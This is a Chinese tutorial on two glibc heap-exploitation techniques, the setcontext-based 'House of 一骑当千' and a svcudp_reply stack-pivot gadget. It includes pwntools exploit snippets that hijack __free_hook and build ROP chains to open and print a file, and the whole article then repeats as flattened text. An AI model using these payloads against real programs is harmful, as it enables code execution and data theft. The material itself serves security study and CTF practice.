house of 一骑当千&&svcudp_reply
字数 1340 2025-08-23 18:31:08

House of 一骑当千与svcudp_reply利用技术详解

背景与原理

在glibc-2.29及更高版本中,setcontext函数的寄存器赋值方式发生了变化:

  • 旧版本(glibc-2.28及之前):通过rdi指向的内存给寄存器赋值
  • 新版本(glibc-2.29+):通过rdx指向的内存给寄存器赋值

传统利用方式通常使用setcontext + 53的gadget,但随着glibc版本更新,这种方法可能失效。House of 一骑当千是由国资社畜师傅提出的一种更通用的利用方法,直接调用setcontext函数本身进行寄存器赋值。

setcontext函数分析

函数原型

int setcontext(const ucontext_t *ucp);

ucontext_t结构体

struct _libc_fpstate {
    /* 64-bit FXSAVE format. */
    __uint16_t __ctx(cwd);
    __uint16_t __ctx(swd);
    __uint16_t __ctx(ftw);
    __uint16_t __ctx(fop);
    __uint64_t __ctx(rip);
    __uint64_t __ctx(rdp);
    __uint32_t __ctx(mxcsr);
    __uint32_t __ctx(mxcr_mask);
    struct _libc_fpxreg _st[8];
    struct _libc_xmmreg _xmm[16];
    __uint32_t __glibc_reserved1[24];
};

typedef struct ucontext_t {
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
    __extension__ unsigned long long int __ssp[4];
} ucontext_t;

关键结构体成员

  1. uc_mcontext - 存储寄存器状态的结构体

    typedef struct {
        gregset_t __ctx(gregs);  // 寄存器组
        fpregset_t __ctx(fpregs);  // 浮点寄存器指针
        __extension__ unsigned long long __reserved1[8];
    } mcontext_t;
    
  2. __fpregs_mem - 浮点环境,偏移0xe0,需要可写内存

  3. uc_sigmask - 信号量,全0即可

  4. __ssp - 用于加载MXCSR寄存器,偏移0x1c0,全0也可

House of 一骑当千利用方法

利用步骤

  1. 劫持__free_hooksetcontext函数地址
  2. 构造ucontext_t结构体(frame)
  3. __free_hook后布置ROP链
  4. 释放包含frame的chunk触发利用

关键点

  • 需要额外设置frame['&fpstate']指向可读写内存
  • 直接调用setcontext而非使用setcontext+53等gadget
  • 通过原始函数参数传递,始终使用rdi寄存器

示例exp关键部分

# 设置frame
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8  # 栈迁移目标
frame.rip = libc.symbols['open']  # 控制流劫持
frame.rdi = buf_addr  # 文件名参数
frame.rsi = 0  # 打开标志
frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000  # 关键!指向可写内存

# 构造payload
payload = p64(libc.sym['setcontext'])  # 直接使用setcontext
payload += p64(pop_rdi_ret)
payload += p64(3)  # 文件描述符
payload += p64(pop_rsi_ret)
payload += p64(buf_addr)
payload += p64(pop_rdx_ret)
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(pop_rdi_ret)
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])

svcudp_reply利用方法

函数特点

svcudp_reply函数中存在可利用的gadget,可以通过控制rdi来间接控制rbprax,最终实现栈迁移。

关键gadget

mov rbp, qword ptr [rdi + 0x48]
mov rax, qword ptr [rbp + 0x18]
call qword ptr [rax + 0x28]

利用条件

  1. 控制rdi + 0x48处的值为目标地址(通常为__free_hook)
  2. rbp + 0x18(__free_hook + 0x18)处放置rax_addr
  3. rax + 0x28处放置leave; ret gadget

示例exp关键部分

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0

# 构造payload
payload = p64(libc.sym['svcudp_reply'] + 22)  # gadget起始
payload += p64(pop_r14_r15_ret)  # 清理栈
payload += b'a'*8  # 填充
payload += p64(rax_addr)  # rax值
# 后续ROP链
payload += p64(pop_rdi_ret)
payload += p64(buf_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(libc.sym['open'])
# ... 其他ROP gadget

# 在rax + 0x28处放置leave; ret
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(leave_ret)

# 触发
edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)

两种方法对比

方法 优点 缺点 适用场景
House of 一骑当千 直接使用原始函数,不受寄存器变化影响 需要设置fpstate指向可写内存 glibc各版本通用
svcudp_reply 不需要复杂frame结构 依赖特定gadget,不同libc可能不同 存在合适gadget的环境

防御与检测

  1. 检测__free_hook等hook点的修改
  2. 监控异常setcontextsvcudp_reply调用
  3. 加强堆内存管理,防止UAF等漏洞
  4. 使用最新版glibc,关注安全更新

总结

House of 一骑当千和svcudp_reply利用技术提供了在glibc高版本下的可靠利用方法,特别是在传统gadget失效的情况下。理解这些技术的原理和实现细节对于二进制安全研究和漏洞防御具有重要意义。

House of 一骑当千与svcudp_ reply利用技术详解 背景与原理 在glibc-2.29及更高版本中, setcontext 函数的寄存器赋值方式发生了变化: 旧版本(glibc-2.28及之前):通过 rdi 指向的内存给寄存器赋值 新版本(glibc-2.29+):通过 rdx 指向的内存给寄存器赋值 传统利用方式通常使用 setcontext + 53 的gadget,但随着glibc版本更新,这种方法可能失效。House of 一骑当千是由国资社畜师傅提出的一种更通用的利用方法,直接调用 setcontext 函数本身进行寄存器赋值。 setcontext函数分析 函数原型 ucontext_ t结构体 关键结构体成员 uc_mcontext - 存储寄存器状态的结构体 __fpregs_mem - 浮点环境,偏移0xe0,需要可写内存 uc_sigmask - 信号量,全0即可 __ssp - 用于加载MXCSR寄存器,偏移0x1c0,全0也可 House of 一骑当千利用方法 利用步骤 劫持 __free_hook 为 setcontext 函数地址 构造 ucontext_t 结构体(frame) 在 __free_hook 后布置ROP链 释放包含frame的chunk触发利用 关键点 需要额外设置 frame['&fpstate'] 指向可读写内存 直接调用 setcontext 而非使用 setcontext+53 等gadget 通过原始函数参数传递,始终使用 rdi 寄存器 示例exp关键部分 svcudp_ reply利用方法 函数特点 svcudp_reply 函数中存在可利用的gadget,可以通过控制 rdi 来间接控制 rbp 和 rax ,最终实现栈迁移。 关键gadget 利用条件 控制 rdi + 0x48 处的值为目标地址(通常为 __free_hook ) 在 rbp + 0x18 ( __free_hook + 0x18 )处放置 rax_addr 在 rax + 0x28 处放置 leave; ret gadget 示例exp关键部分 两种方法对比 | 方法 | 优点 | 缺点 | 适用场景 | |------|------|------|----------| | House of 一骑当千 | 直接使用原始函数,不受寄存器变化影响 | 需要设置fpstate指向可写内存 | glibc各版本通用 | | svcudp_ reply | 不需要复杂frame结构 | 依赖特定gadget,不同libc可能不同 | 存在合适gadget的环境 | 防御与检测 检测 __free_hook 等hook点的修改 监控异常 setcontext 或 svcudp_reply 调用 加强堆内存管理,防止UAF等漏洞 使用最新版glibc,关注安全更新 总结 House of 一骑当千和svcudp_ reply利用技术提供了在glibc高版本下的可靠利用方法,特别是在传统gadget失效的情况下。理解这些技术的原理和实现细节对于二进制安全研究和漏洞防御具有重要意义。